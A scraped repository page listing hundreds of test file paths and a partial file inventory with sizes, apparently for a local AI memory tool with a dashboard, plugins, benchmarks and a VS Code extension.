server/test_actor_role_resolution.pytests/test_server/test_agent_identity_attribution.pytests/test_server/test_answer_check_api.pytests/test_server/test_answer_check_auth.pytests/test_server/test_answer_check_history_routes.pytests/test_server/test_answer_check_laya_actions.pytests/test_server/test_answer_check_lifecycle.pytests/test_server/test_answer_check_off_the_loop.pytests/test_server/test_answer_check_one_source_of_truth.pytests/test_server/test_answer_check_rerank_api.pytests/test_server/test_answer_check_save_applies_live_and_exclusively.pytests/test_server/test_answer_check_shares_the_question_clock.pytests/test_server/test_applied_correction_is_findable.pytests/test_server/test_asset_versions_track_file_content.pytests/test_server/test_background_loops_idle_without_progress.pytests/test_server/test_backup_connect_pages.pytests/test_server/test_backup_encryption_routes.pytests/test_server/test_backup_export_holds_every_advertised_store.pytests/test_server/test_backup_security_contract.pytests/test_server/test_behavioral_profile_integrity.pytests/test_server/test_brain_telemetry_truth.pytests/test_server/test_canonical_import_route.pytests/test_server/test_canonical_ingest_route.pytests/test_server/test_canonical_remember_route.pytests/test_server/test_chat_injection_boundary.pytests/test_server/test_company_mode_get_routes.pytests/test_server/test_company_mode_mutation_routes.pytests/test_server/test_company_status_fixture_isolation.pytests/test_server/test_config_file_concurrency.pytests/test_server/test_credential_tables_match_the_real_schema.pytests/test_server/test_daemon_answer_check_writer_lifecycle.pytests/test_server/test_daemon_shutdown_imports.pytests/test_server/test_daemon_stops_the_live_engine.pytests/test_server/test_dashboard_authed_get_routes.pytests/test_server/test_dashboard_browsing_truth.pytests/test_server/test_dashboard_page_is_read_as_utf8.pytests/test_server/test_dashboard_route_profile_isolation.pytests/test_server/test_dashboard_search_fallback_matches_recall.pytests/test_server/test_dashboard_stays_fast_under_background_load.pytests/test_server/test_engine_upgrade_routes.pytests/test_server/test_enrichment_pool_lifecycle.pytests/test_server/test_enrichment_submission_is_bounded.pytests/test_server/test_entity_explorer_determinism.pytests/test_server/test_entity_tier_profile_default_isolation.pytests/test_server/test_erasure_after_completion.pytests/test_server/test_erasure_visibility.pytests/test_server/test_explicit_recall_queue.pytests/test_server/test_export_marks_media_memories.pytests/test_server/test_export_routes_on_a_real_store.pytests/test_server/test_export_spool_is_owner_only.pytests/test_server/test_f10_ranker_tamper_check.pytests/test_server/test_f2_backfill_status_surface.pytests/test_server/test_f6_repair_loop_broad_catch.pytests/test_server/test_f8_behavioral_connection_close.pytests/test_server/test_facets_rbac.pytests/test_server/test_fallback_fidelity_budget_starts_after_the_search.pytests/test_server/test_fallback_source_fidelity.pytests/test_server/test_features_reply_is_fast.pytests/test_server/test_features_routes.pytests/test_server/test_glance_and_hook_recall_answer.pytests/test_server/test_hook_event_writer.pytests/test_server/test_hook_events_route.pytests/test_server/test_http_error_responses.pytests/test_server/test_http_eventbus_emissions.pytests/test_server/test_ingestion_boot_sweep.pytests/test_server/test_insights_changed_this_week_kind.pytests/test_server/test_keyword_fallback_facets_over_http.pytests/test_server/test_keyword_fallback_finds_natural_questions.pytests/test_server/test_keyword_fallback_honours_filters.pytests/test_server/test_keyword_fallback_tiers.pytests/test_server/test_layered_recall_reaches_every_door.pytests/test_server/test_learning_readiness_route.pytests/test_server/test_legacy_port_ownership.pytests/test_server/test_lifecycle_compact.pytests/test_server/test_local_apps_detection.pytests/test_server/test_local_apps_routes.pytests/test_server/test_local_host_setup.pytests/test_server/test_login_policy_is_not_read_per_request.pytests/test_server/test_loopback.pytests/test_server/test_loopback_origin_exact.pytests/test_server/test_loopback_write_actor_consistency.pytests/test_server/test_manual_heal_lifecycle.pytests/test_server/test_mcp_profiles_endpoint.pytests/test_server/test_memories_project_name_reads_metadata.pytests/test_server/test_memories_shows_memory_kind.pytests/test_server/test_memory_events_reach_the_stream.pytests/test_server/test_memory_kinds_routes.pytests/test_server/test_memory_scope.pytests/test_server/test_mesh_broker_starts_off_the_event_loop.pytests/test_server/test_mesh_event_loop_safety.pytests/test_server/test_metrics_flush_no_reinit.pytests/test_server/test_models_catalog_route.pytests/test_server/test_mutation_gate_policy.pytests/test_server/test_no_read_route_blocks_the_event_loop.pytests/test_server/test_observebuffer_captured_count.pytests/test_server/test_observebuffer_logging.pytests/test_server/test_open_file_limit.pytests/test_server/test_per_request_profile.pytests/test_server/test_picking_an_ollama_model_from_the_dashboard.pytests/test_server/test_pr253_calibration_cancel_api.pytests/test_server/test_pr253_ingress_deadline.pytests/test_server/test_pr253_timeout_notes.pytests/test_server/test_profile_delete_moves_everything.pytests/test_server/test_profile_path_resolution.pytests/test_server/test_profile_preemption.pytests/test_server/test_profile_runtime_background_pause.pytests/test_server/test_profile_runtime_switch.pytests/test_server/test_profile_switch_drain_timeout.pytests/test_server/test_ratelimit_route.pytests/test_server/test_rbac_company_mode_credential.pytests/test_server/test_rbac_routes.pytests/test_server/test_rbac_sec_02.pytests/test_server/test_recall_health_heal_backoff.pytests/test_server/test_recall_kind_filter_route.pytests/test_server/test_recall_remote_view.pytests/test_server/test_recall_retained_admission.pytests/test_server/test_recall_serializer_kind_fields.pytests/test_server/test_recall_trace_rbac_and_block.pytests/test_server/test_recovery_is_installation_wide.pytests/test_server/test_reindex_queued_reason.pytests/test_server/test_reindex_save_messages.pytests/test_server/test_related_reaches_people_not_agents.pytests/test_server/test_remember_ceiling_counts_from_the_request.pytests/test_server/test_remember_replaces_route.pytests/test_server/test_remember_speaker_265.pytests/test_server/test_remember_with_a_kind.pytests/test_server/test_replaced_memory_enrichment.pytests/test_server/test_require_credentials_h01.pytests/test_server/test_rollback_message_is_true.pytests/test_server/test_route_event_loop_contract.pytests/test_server/test_route_mutation_policy.pytests/test_server/test_routed_mutations.pytests/test_server/test_routed_mutations_access.pytests/test_server/test_runtime_config_route.pytests/test_server/test_runtime_control_plane_security.pytests/test_server/test_search_carries_media.pytests/test_server/test_search_fallback_shows_memory_kind.pytests/test_server/test_search_fast_param_and_profile_isolation.pytests/test_server/test_search_kind_filter.pytests/test_server/test_sec_h02_error_leakage.pytests/test_server/test_security_h10_14.pytests/test_server/test_session_open_is_not_a_question.pytests/test_server/test_show_weak_reaches_recall.pytests/test_server/test_source_quality_startup_repair.pytests/test_server/test_spreading_activation_warmup.pytests/test_server/test_status_in_company_mode.pytests/test_server/test_stop_not_rate_limited.pytests/test_server/test_store_check_routes.pytests/test_server/test_streaming_lease_release.pytests/test_server/test_strict_mode_install_token.pytests/test_server/test_summaries_are_shown_without_pretending.pytests/test_server/test_the_daemon_start_sends_nothing_for_checking.pytests/test_server/test_the_dashboard_says_which_backend_is_really_running.pytests/test_server/test_the_recall_in_flight_count_is_exact.pytests/test_server/test_the_vector_backfill_reads_ids_not_every_fact.pytests/test_server/test_transition_waits_for_background_units.pytests/test_server/test_ui_cold_start_contract.pytests/test_server/test_upgrade_banner_is_true.pytests/test_server/test_upgrade_restore_public.pytests/test_server/test_upgrade_restore_routes.pytests/test_server/test_upgrade_startup_order.pytests/test_server/test_upload_housekeeping.pytests/test_server/test_v4_deployment_and_ui_truth.pytests/test_server/test_view_cache.pytests/test_server/test_w8_disk_abort_not_a_crash.pytests/test_server/test_w8_migration_notifications.pytests/test_server/test_warmup_claims_only_real_vectors.pytests/test_server/test_warmup_error.pytests/test_server/test_wp19_memory_health_api.pytests/test_server/test_wp19_stub_listing.pytests/test_server/test_wp6_answer_check_status.pytests/test_server/test_wp6_recall_deadline.pytests/test_server/test_write_auth_apikey_regression.pytests/test_server/test_write_identity.pytests/test_server/test_write_rejection_names_the_right_header.pytests/test_shard_plugin.pytests/test_skills/__init__.pytests/test_skills/test_slm_optimize_skill.pytests/test_sources/__init__.pytests/test_sources/conftest.pytests/test_sources/test_api.pytests/test_sources/test_audit2_ownership.pytests/test_sources/test_background_pause.pytests/test_sources/test_bytes_not_paths.pytests/test_sources/test_copy_promotion.pytests/test_sources/test_dead_borrows.pytests/test_sources/test_default_scope.pytests/test_sources/test_detect_secrets.pytests/test_sources/test_fable_fb.pytests/test_sources/test_features_switch.pytests/test_sources/test_forget_empty.pytests/test_sources/test_gates_real_roles.pytests/test_sources/test_ignore.pytests/test_sources/test_late_facts.pytests/test_sources/test_lock_waits.pytests/test_sources/test_mount_guard.pytests/test_sources/test_obsidian_frontmatter.pytests/test_sources/test_obsidian_links.pytests/test_sources/test_obsidian_scan.pytests/test_sources/test_paused_idle.pytests/test_sources/test_paused_resume.pytests/test_sources/test_pdf_images.pytests/test_sources/test_picker_gates_real_roles.pytests/test_sources/test_picker_routes.pytests/test_sources/test_purge_with_backup_obligations.pytests/test_sources/test_reads_real_roles.pytests/test_sources/test_real_picture.pytests/test_sources/test_remote_state.pytests/test_sources/test_remount.pytests/test_sources/test_remove_during_scan.pytests/test_sources/test_root_and_links.pytests/test_sources/test_roots.pytests/test_sources/test_routes.pytests/test_sources/test_safe_read.pytests/test_sources/test_save_counter.pytests/test_sources/test_scan_safety.pytests/test_sources/test_scan_text.pytests/test_sources/test_schema_upgrade.pytests/test_sources/test_service.pytests/test_sources/test_shared_ownership.pytests/test_sources/test_targeted_scan.pytests/test_sources/test_user_save_vs_folder.pytests/test_sources/test_visibility_sources.pytests/test_sources/test_walk_lstat.pytests/test_sources/test_watcher.pytests/test_sources/test_windows_reads.pytests/test_sources/test_wiring.pytests/test_stability_hardening_384.pytests/test_storage/__init__.pytests/test_storage/_upgrade_store.pytests/test_storage/_write_lock_probe.pytests/test_storage/test_384_stability.pytests/test_storage/test_384_write_lock_hardening.pytests/test_storage/test_386_canonical_write_boundary.pytests/test_storage/test_386_write_coordinator_contention.pytests/test_storage/test_a_cap_counts_one_workspace_at_a_time.pytests/test_storage/test_a_failed_check_says_which_and_whether_it_matters.pytests/test_storage/test_a_failed_connection_setup_closes_the_file.pytests/test_storage/test_a_finished_repair_never_moves_memories.pytests/test_storage/test_a_save_does_not_scan_the_store_under_the_write_lock.pytests/test_storage/test_a_step_that_keeps_failing_says_so.pytests/test_storage/test_a_store_older_than_its_indexes_still_opens.pytests/test_storage/test_a_version_marker_is_one_row.pytests/test_storage/test_access_log.pytests/test_storage/test_agent_experience_store.pytests/test_storage/test_an_update_copies_only_what_it_changes.pytests/test_storage/test_archive_read_paths.pytests/test_storage/test_authorising_an_id_does_not_need_its_content.pytests/test_storage/test_backfill_embeddings_script.pytests/test_storage/test_backfill_missing_embeddings.pytests/test_storage/test_backup.pytests/test_storage/test_backup_flush_portability.pytests/test_storage/test_boot_time_restore.pytests/test_storage/test_concurrency_soak.pytests/test_storage/test_concurrent_db.pytests/test_storage/test_correction_case_store.pytests/test_storage/test_dashboard_cannot_lock_the_store.pytests/test_storage/test_database.pytests/test_storage/test_database_memory_kind_columns.pytests/test_storage/test_deferred_migration_atomicity_contract.pytests/test_storage/test_deferred_writes.pytests/test_storage/test_doctor_never_offers_junk_as_worth_keeping.pytests/test_storage/test_doctor_reads_the_vector_index.pytests/test_storage/test_doctor_refiles_only_flagged_memories.pytests/test_storage/test_downgrade_hold_message.pytests/test_storage/test_embedding_migrator.pytests/test_storage/test_embedding_pressure_status.pytests/test_storage/test_embedding_projection.pytests/test_storage/test_embedding_reindex_units.pytests/test_storage/test_embedding_signature_normalize.pytests/test_storage/test_embedding_width_follows_the_store.pytests/test_storage/test_engine_upgrade_keeps_rows.pytests/test_storage/test_engine_upgrade_migration.pytests/test_storage/test_entity_link_repair.pytests/test_storage/test_entity_link_repair_entry_points.pytests/test_storage/test_erasure_visibility_migration.pytests/test_storage/test_every_switch_door_is_guarded.pytests/test_storage/test_execution_learning_v2.pytests/test_storage/test_external_evidence_store.pytests/test_storage/test_failed_snapshot_leaves_no_partial.pytests/test_storage/test_fresh_install_restore_points.pytests/test_storage/test_m016_scope_upgrade.pytests/test_storage/test_m018_ingestion_operations.pytests/test_storage/test_m021_ingestion_log_profile.pytests/test_storage/test_m022_entity_aliases_profile.pytests/test_storage/test_m026_rbac_memberships_fk.pytests/test_storage/test_m028_fact_entity_associations.pytests/test_storage/test_m029_behavioral_history_indexes.pytests/test_storage/test_m030_entity_explorer_indexes.pytests/test_storage/test_m033_projection_transactions.pytests/test_storage/test_m035_erasure_receipts.pytests/test_storage/test_m036_vector_row_map.pytests/test_storage/test_m039_scene_fact_members.pytests/test_storage/test_maintenance_hands_back_the_write_lock.pytests/test_storage/test_managed_reindex_restart.pytests/test_storage/test_managed_upgrade_failures.pytests/test_storage/test_memory_kind_store.pytests/test_storage/test_memory_kinds.pytests/test_storage/test_memory_leak_soak.pytests/test_storage/test_migration_dependency_and_version.pytests/test_storage/test_migration_runner.pytests/test_storage/test_migrations.pytests/test_storage/test_migrations_content.pytests/test_storage/test_models.pytests/test_storage/test_no_ckpt_on_close.pytests/test_storage/test_no_read_path_serves_a_retired_fact.pytests/test_storage/test_no_read_path_shows_a_withheld_row.pytests/test_storage/test_no_table_grows_without_a_reason.pytests/test_storage/test_old_safety_copies_are_pruned.pytests/test_storage/test_one_start_keeps_one_safety_copy.pytests/test_storage/test_own_fact_repair.pytests/test_storage/test_own_fact_repair_safety.pytests/test_storage/test_prepare_downgrade.pytests/test_storage/test_profile_delete_after_ordinary_recall.pytests/test_storage/test_profile_fold_decisions.pytests/test_storage/test_provenance_of_a_deleted_thing_is_not_provenance.pytests/test_storage/test_quantized_store.pytests/test_storage/test_read_snapshots_reuse_a_connection.pytests/test_storage/test_reads_reuse_a_connection_per_thread.pytests/test_storage/test_recent_memories_are_being_indexed_not_missing.pytests/test_storage/test_recent_memories_read_only_an_index.pytests/test_storage/test_reindex_ram_reservation.pytests/test_storage/test_repair_runs_without_being_asked.pytests/test_storage/test_replaced_memory.pytests/test_storage/test_restore_cancel_stage.pytests/test_storage/test_restore_damaged_live.pytests/test_storage/test_restore_deletion_intent.pytests/test_storage/test_restore_interrupted.pytests/test_storage/test_restore_kind_edits.pytests/test_storage/test_restore_learning.pytests/test_storage/test_restore_leaves_no_large_wal.pytests/test_storage/test_restore_newer_copy.pytests/test_storage/test_restore_on_windows_file_rules.pytests/test_storage/test_restore_points.pytests/test_storage/test_restore_real_copy.pytests/test_storage/test_restore_retention.pytests/test_storage/test_restoring_a_fact_does_not_destroy_its_associations.pytests/test_storage/test_restoring_a_memory_does_not_destroy_its_facts.pytests/test_storage/test_reused_read_connections_are_safe.pytests/test_storage/test_s9_w1_data_integrity.pytests/test_storage/test_schema.pytests/test_storage/test_scope_recall_equivalence.pytests/test_storage/test_selfheal_write_starvation.pytests/test_storage/test_single_writer_lock.pytests/test_storage/test_snapshot_damaged_keyword_index_204.pytests/test_storage/test_snapshot_file_modes.pytests/test_storage/test_snapshot_manifest.pytests/test_storage/test_store_repair.pytests/test_storage/test_switch_lands_hub_baselines.pytests/test_storage/test_temporal_validity_db.pytests/test_storage/test_the_vector_export_leaves_out_withheld_facts.pytests/test_storage/test_upgrade_repair.pytests/test_storage/test_upgrade_safety_copy_leftovers.pytests/test_storage/test_visibility_reads_do_not_read_row_bodies.pytests/test_storage/test_w8_backup_ordering.pytests/test_storage/test_w8_install_detector.pytests/test_storage/test_wal_autocheckpoint.pytests/test_storage/test_wp12b_qjl_search.pytests/test_storage/test_wp19_enrichment.pytests/test_storage/test_wp19_legacy_coverage.pytests/test_storage/test_wp19_stub_rule.pytests/test_storage/test_wp19_stubs.pytests/test_storage/test_wp19_undo_after_fold.pytests/test_storage/test_wp19_valid_from.pytests/test_storage/test_wp5_indexed_enrichment.pytests/test_storage/test_writes_wait_their_turn.pytests/test_summaries/test_community_drill_down.pytests/test_summaries/test_llm_output_hygiene.pytests/test_summaries/test_project_picker_lists_saved_projects.pytests/test_summaries/test_project_scope_and_coverage.pytests/test_summaries/test_project_summary_saved_memories.pytests/test_summaries/test_summaries_show_only_visible_memories.pytests/test_summaries/test_summary_cli.pytests/test_summaries/test_summary_mcp.pytests/test_summaries/test_summary_routes.pytests/test_surface_integrity/__init__.pytests/test_surface_integrity/test_recall_answers_the_same_through_every_door.pytests/test_surface_integrity/test_status_says_the_same_thing_everywhere.pytests/test_surface_integrity/test_the_same_question_returns_the_same_many.pytests/test_tagging/__init__.pytests/test_tagging/test_extractors.pytests/test_tagging/test_write_queryable_facets.pytests/test_temporal_phase4_event_time.pytests/test_topic_shift_hook.pytests/test_trust/__init__.pytests/test_trust/test_a_catch_all_is_not_a_reputation.pytests/test_trust/test_gate_config.pytests/test_trust/test_provenance.pytests/test_trust/test_scorer.pytests/test_trust_full.pytests/test_ui/__init__.pytests/test_ui/test_answer_check_tab_is_wired.pytests/test_ui/test_brain_render.pytests/test_ui/test_the_answer_check_says_what_runs.pytests/test_ui/test_the_dashboard_says_which_channel_broke.pytests/test_ui/test_wp10_adapter_list_hides_paths.pytests/test_ui/test_wp10_adapter_paths_are_confined.pytests/test_ui/test_wp10_adapter_readiness.pytests/test_ui/test_wp10_backup_recovery.pytests/test_ui/test_wp10_export_keeps_retention.pytests/test_ui/test_wp10_feeds.pytests/test_ui/test_wp10_kept_copy_is_named_and_removed.pytests/test_ui/test_wp10_media_size.pytests/test_ui/test_wp10_outcome_worker_is_identified.pytests/test_ui/test_wp10_recovery_needed_blocks_start.pytests/test_ui/test_wp10_restore_checks_free_space.pytests/test_ui/test_wp10_restore_is_atomic.pytests/test_ui/test_wp10_restore_marker_is_written_first.pytests/test_ui/test_wp10_restore_worker_health.pytests/test_ui/test_wp10_reused_pid_reads_as_dead_writer.pytests/test_ui/test_wp10_rollback_is_independent.pytests/test_ui/test_wp10_routes.pytests/test_ui/test_wp10_running_restore_is_not_recovery.pytests/test_ui/test_wp10_safety_copy_is_pinned.pytests/test_ui/test_wp10_saved_adapter_paths_are_rechecked.pytests/test_ui/test_wp10_settings_secret_filter.pytests/test_ui/test_wp10_space_estimate_counts_media.pytests/test_ui/test_wp10_space_estimate_counts_unsynced_media.pytests/test_ui/test_wp10_summary_cache.pytests/test_ui/test_wp10_unavailable_names_recovery.pytests/test_v3_api.pytests/test_version_consistency.pytests/test_views/__init__.pytests/test_views/_store.pytests/test_views/test_one_run_path.pytests/test_views/test_view_cli.pytests/test_views/test_view_gdpr.pytests/test_views/test_view_mcp.pytests/test_views/test_view_routes.pytests/test_views/test_view_store.pytests/test_web_agent_instructions.pytests/test_write_lock_hardening.pytests/thread_leak_guard.pytests/ui/features_helpers.mjstests/ui/harness.mjstests/ui/test_answer_check_settings.mjstests/ui/test_answercheck_tab.mjstests/ui/test_answercheck_tryit.mjstests/ui/test_auto_settings_reindex_message.mjstests/ui/test_backup_auth_failure.mjstests/ui/test_backup_encryption_panel.mjstests/ui/test_brain_truth_dashboard.mjstests/ui/test_brain_ui_acceptance.mjstests/ui/test_cache_bust_matches_content.mjstests/ui/test_confirm_modal.mjstests/ui/test_connected_apps.mjstests/ui/test_connected_apps_replaced.mjstests/ui/test_connection_abilities.mjstests/ui/test_contrast_token_sweep.mjstests/ui/test_control_plane_contract.mjstests/ui/test_dash_home_help_theme.mjstests/ui/test_dashboard_activity_local_day.mjstests/ui/test_dashboard_browsing_truth.mjstests/ui/test_dashboard_cache.mjstests/ui/test_dashboard_release_identity.mjstests/ui/test_dashboard_source_truth.mjstests/ui/test_erase_outcome_states_what_remains.mjstests/ui/test_event_stream_types.mjstests/ui/test_export_reports_the_real_outcome.mjstests/ui/test_fetch_invalidation.mjstests/ui/test_fg3_classification.mjstests/ui/test_governance_recovery_controls.mjstests/ui/test_governance_wording_reproductions.mjstests/ui/test_ingestion_badges_say_what_the_api_reports.mjstests/ui/test_local_apps_detection.mjstests/ui/test_local_harness_connections.mjstests/ui/test_memories_kind_label_render.mjstests/ui/test_memories_render.mjstests/ui/test_mode_quick_switch_guard.mjstests/ui/test_model_pickers.mjstests/ui/test_od_botmessages_pane.mjstests/ui/test_od_brain_reward_truth.mjstests/ui/test_od_engine_upgrade.mjstests/ui/test_od_features_card.mjstests/ui/test_od_graph_draw_calls.mjstests/ui/test_od_graph_label_clipping.mjstests/ui/test_od_graph_perf_budget.mjstests/ui/test_od_media_pane.mjstests/ui/test_od_media_polish.mjstests/ui/test_od_media_retry.mjstests/ui/test_od_mesh_local_sessions.mjstests/ui/test_od_new_panes_nav.mjstests/ui/test_od_ops_health_erasure.mjstests/ui/test_od_restart_shared.mjstests/ui/test_od_settings_background_refresh.mjstests/ui/test_od_shell_navigation.mjstests/ui/test_od_signin_gate.mjstests/ui/test_od_sources.mjstests/ui/test_od_sources_picker.mjstests/ui/test_od_star_ask.mjstests/ui/test_od_startup_and_state_mascots.mjstests/ui/test_od_team_owner_needs_no_signin.mjstests/ui/test_od_welcome.mjstests/ui/test_od_whatsnew_card.mjstests/ui/test_pane_error.mjstests/ui/test_profile_switch.mjstests/ui/test_quick_actions_changed_this_week_kind.mjstests/ui/test_recall_lab_badge_contrast.mjstests/ui/test_responsive_acceptance.mjstests/ui/test_runner_invocation_is_documented_correctly.mjstests/ui/test_saved_views_and_summaries_panes.mjstests/ui/test_scope_settings.mjstests/ui/test_search_keeps_shared_scope_in_drawer.mjstests/ui/test_settings_auth_failure.mjstests/ui/test_settings_reindex_progress.mjstests/ui/test_settings_save_outcome.mjstests/ui/test_settings_saves_tell_the_truth.mjstests/ui/test_store_check.mjstests/ui/test_stored_text_cannot_break_out_of_attributes.mjstests/ui/test_strict_mode_key_prompt.mjstests/ui/test_web_access_status.mjstests/ui/test_wp10_accessible_tasks.mjstests/ui/test_wp10_backup_tasks.mjstests/ui/test_wp10_daily.mjstests/ui/test_wp10_feed_paging.mjstests/ui/test_wp10_memory_governance.mjstests/ui/test_wp19_memory_health.mjstests/ui/test_wp19_stub_badge.mjstests/ui/test_wp6_recall_states.mjstests/upgrade/_slm_env.pytests/upgrade/_verdicts.pytests/upgrade/build_fixture.pytests/upgrade/corpus.pytests/upgrade/test_corpus.pytests/upgrade/test_fail_closed.pytests/upgrade/test_scratch_guard.pytests/upgrade/test_upgrade_fixtures.pytests/upgrade/upgrade_check.pytests/vector/test_lancedb_backend.pytests/vector/test_lancedb_dimension.pytests/vector/test_lancedb_loop_never_blocks_exit.pytests/vector/test_lancedb_tier_injection.pytests/vector/test_vector_parity_repair_native.pyvscode-extension/package.jsonvscode-extension/src/configured.tsvscode-extension/src/extension.tsvscode-extension/src/starAsk.tsvscode-extension/test/already-configured.test.jsvscode-extension/test/package-contract.test.jsvscode-extension/test/star-ask.test.js
Files
.claude-plugin/marketplace.jsonasset1,331 bytes.cursor-plugin/marketplace.jsonasset866 bytes.gitattributesasset918 bytes.github/FUNDING.ymlasset287 bytes.github/plugin/marketplace.jsonasset681 bytes.github/workflows/installer-matrix.ymlasset8,061 bytes.github/workflows/plugin-validate.ymlasset1,369 bytes.github/workflows/pypi-publish.ymlasset19,775 bytes.github/workflows/test.ymlasset6,059 bytes.gitignoreasset6,492 bytes.importlinterasset6,082 bytes.lfsconfigasset264 bytes.npmignoreasset4,763 bytesAGENTS.mddoc2,947 bytesATTRIBUTION.mddoc4,280 bytesAUTHORS.mddoc410 bytesCHANGELOG.mddoc341,812 bytesCITATION.cffasset1,185 bytesCOMMERCIAL-LICENSE.mddoc578 bytesCONTRIBUTING.mddoc16,903 bytesLICENSEasset34,565 bytesMakefileruns2,258 bytesNOTICEasset2,310 bytesPRIVACY.mddoc3,074 bytesREADME.mddoc44,818 bytesSECURITY.mddoc13,381 bytesSETUP_FOR_AGENTS.mddoc10,587 bytesSKILL.mdcore6,693 bytesSKILL.mdcore6,693 bytesSKILL.mdcore6,693 bytesSKILL.mdcore6,693 bytesSKILL.mdcore6,693 bytesSKILL.mdcore6,693 bytesSKILL.mdcore6,693 bytesSKILL.mdcore6,693 bytesSKILL.mdcore6,693 bytesSKILL.mdcore6,693 bytesantigravity-plugin/_GENERATED.mddoc1,012 bytesantigravity-plugin/agents/slm-governance-advisor.mddoc7,865 bytesantigravity-plugin/agents/slm-loop-runner.mddoc3,852 bytesantigravity-plugin/agents/slm-memory-advisor.mddoc8,279 bytesantigravity-plugin/agents/slm-optimize-advisor.mddoc3,072 bytesantigravity-plugin/commands/slm-loop.mddoc1,839 bytesantigravity-plugin/hooks.jsonasset1,020 bytesantigravity-plugin/hooks/hooks.jsonasset1,216 bytesantigravity-plugin/mcp_config.jsonasset182 bytesantigravity-plugin/plugin.jsonasset728 bytesantigravity-plugin/scripts/antigravity_hook_adapter.pyruns2,794 bytesassets/.gitattributesasset369 bytesassets/CONTACT-SHEET-README.mddoc1,946 bytesassets/README.mddoc5,941 bytesassets/branding/README.mddoc583 bytesassets/branding/google-g.svgasset752 bytesassets/branding/jev-mark.svgasset893 bytesassets/branding/slm-mark.pngasset153,511 bytesassets/branding/slm-mark.svgasset1,835 bytesassets/branding/slm-wordmark-dark.svgasset1,450 bytesassets/branding/slm-wordmark-light.svgasset1,228 bytesassets/contact-sheet.htmlasset8,722 bytesassets/contact-sheet.pngasset131 bytesassets/favicon-white.icoasset5,430 bytesassets/gifs/.gitkeepasset0 bytesassets/gifs/QUICK-REFERENCE.mddoc1,414 bytesassets/gifs/README.mddoc2,031 bytesassets/gifs/USAGE.mddoc3,193 bytesassets/gifs/cli-demo.gifasset131 bytesassets/gifs/dashboard-search.gifasset131 bytesassets/gifs/dashboard-tabs.gifasset132 bytesassets/gifs/event-stream.gifasset132 bytesassets/gifs/graph-interaction.gifasset132 bytesassets/icon-512.pngasset12,469 bytesassets/icon-white-1024.pngasset38,828 bytesassets/icon-white-16.pngasset944 bytesassets/icon-white-192.pngasset13,626 bytesassets/icon-white-32.pngasset1,563 bytesassets/icon-white-512.pngasset32,506 bytesassets/icon-white.svgasset2,940 bytesassets/icon.svgasset1,835 bytesassets/mascot/slm-mascot-hero.pngasset256,899 bytesassets/mascot/slm-mascot-pointing.pngasset221,352 bytesassets/mascot/slm-mascot-shield.pngasset240,175 bytesassets/screenshots/.gitkeepasset0 bytesassets/screenshots/README.mddoc5,374 bytesassets/screenshots/cli/.gitkeepasset0 bytesassets/screenshots/cli/README.mddoc1,970 bytesassets/screenshots/cli/cli-build-graph.pngasset62,177 bytesassets/screenshots/cli/cli-help.pngasset95,561 bytesassets/screenshots/cli/cli-list.pngasset84,183 bytesassets/screenshots/cli/cli-profile-switch.pngasset43,697 bytesassets/screenshots/cli/cli-recall.pngasset65,622 bytesassets/screenshots/cli/cli-remember.pngasset31,965 bytesassets/screenshots/cli/cli-status.pngasset32,965 bytesassets/screenshots/dashboard/.gitkeepasset0 bytesassets/screenshots/dashboard/README.mddoc6,551 bytesassets/screenshots/dashboard/dashboard-agents-annotated.pngasset131 bytesassets/screenshots/dashboard/dashboard-agents.pngasset141,913 bytesassets/screenshots/dashboard/dashboard-behavioral.pngasset584,365 bytesassets/screenshots/dashboard/dashboard-clusters.pngasset123,721 bytesassets/screenshots/dashboard/dashboard-filtered.pngasset221,340 bytesassets/screenshots/dashboard/dashboard-graph-annotated.pngasset131 bytesassets/screenshots/dashboard/dashboard-graph.pngasset110,478 bytesassets/screenshots/dashboard/dashboard-learning.pngasset556,301 bytesassets/screenshots/dashboard/dashboard-live-events-annotated.pngasset131 bytesassets/screenshots/dashboard/dashboard-live-events-dark.pngasset158,534 bytesassets/screenshots/dashboard/dashboard-live-events.pngasset158,534 bytesassets/screenshots/dashboard/dashboard-memories-annotated.pngasset131 bytesassets/screenshots/dashboard/dashboard-memories-dark.pngasset221,340 bytesassets/screenshots/dashboard/dashboard-memories.pngasset221,340 bytesassets/screenshots/dashboard/dashboard-overview-annotated.pngasset131 bytesassets/screenshots/dashboard/dashboard-overview-dark.pngasset114,471 bytesassets/screenshots/dashboard/dashboard-overview.pngasset173,524 bytesassets/screenshots/dashboard/dashboard-patterns.pngasset176,401 bytesassets/screenshots/dashboard/dashboard-timeline.pngasset20,267 bytesassets/screenshots/v25/.gitkeepasset0 bytesassets/screenshots/v25/v25-agents-tab.pngasset320,350 bytesassets/screenshots/v25/v25-live-events-working.pngasset359,734 bytesassets/videos/.gitkeepasset0 bytesassets/videos/README.mddoc2,563 bytesassets/videos/dashboard-tour.mp4asset132 bytesassets/videos/installation-walkthrough.mp4asset131 bytesassets/videos/quick-start.mp4asset131 bytesbenchmark/README.mddoc6,546 bytesbenchmark/_harness.pyruns10,788 bytesbenchmark/bench_perf.pyruns25,487 bytesbenchmark/exp12_learning_loop_ablation.pyruns13,044 bytesbenchmark/exp13_governance_envelope_cost.pyruns7,407 bytesbenchmark/exp1_erasure_completeness.pyruns15,010 bytesbenchmark/exp2_transaction_atomicity.pyruns12,498 bytesbenchmark/exp2b_real_owner_manifest.pyruns25,412 bytesbenchmark/exp3_migration_downgrade.pyruns3,005 bytesbenchmark/exp4_backup_restore_atomicity.pyruns5,068 bytesbenchmark/exp5_multitenant_isolation.pyruns5,152 bytesbenchmark/exp6_temporal_micro_eval.pyruns9,066 bytesbenchmark/exp7_generation_fence.pyruns12,996 bytesbenchmark/exp8_policy_registry.pyruns8,790 bytesbenchmark/exp_governed_latency.pyruns25,260 bytesbenchmark/recall_channels.pyruns10,580 bytesbenchmark/results/SUMMARY.mddoc3,809 bytesbenchmark/results/bench_perf.jsonasset21,818 bytesbenchmark/results/exp12_learning_loop_ablation.jsonasset1,915 bytesbenchmark/results/exp13_governance_envelope_cost.jsonasset2,218 bytesbenchmark/results/exp1_erasure_completeness.jsonasset1,324 bytesbenchmark/results/exp2_transaction_atomicity.jsonasset1,313 bytesbenchmark/results/exp2b_real_owner_manifest.jsonasset2,963 bytesbenchmark/results/exp3_migration_downgrade.jsonasset679 bytesbenchmark/results/exp4_backup_restore_atomicity.jsonasset749 bytesbenchmark/results/exp5_multitenant_isolation.jsonasset710 bytesbenchmark/results/exp6a_superseded_demotion.jsonasset648 bytesbenchmark/results/exp6b_decay_monotonic.jsonasset596 bytesbenchmark/results/exp6c_time_window.jsonasset632 bytesbenchmark/results/exp7_generation_fence.jsonasset1,115 bytesbenchmark/results/exp8_policy_registry.jsonasset1,268 